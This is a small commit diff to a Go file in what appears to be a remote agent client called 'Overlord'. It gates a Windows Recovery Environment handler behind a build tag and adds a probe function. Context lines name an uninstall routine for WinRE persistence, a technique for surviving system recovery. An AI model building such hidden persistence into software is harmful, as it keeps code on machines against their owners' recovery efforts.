optional winre and winre probe

Overlord-Client/cmd/agent/handlers/winre_windows.go

@@ -1,5 +1,5 @@
-//go:build windows
-// +build windows
+//go:build windows && overlord_winre
+// +build windows,overlord_winre
 
 package handlers
 
@@ -312,3 +312,7 @@ func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) e
 	}
 	return uninstallWinREPersistence()
 }
+
+func WinRESupported() bool {
+	return true
+}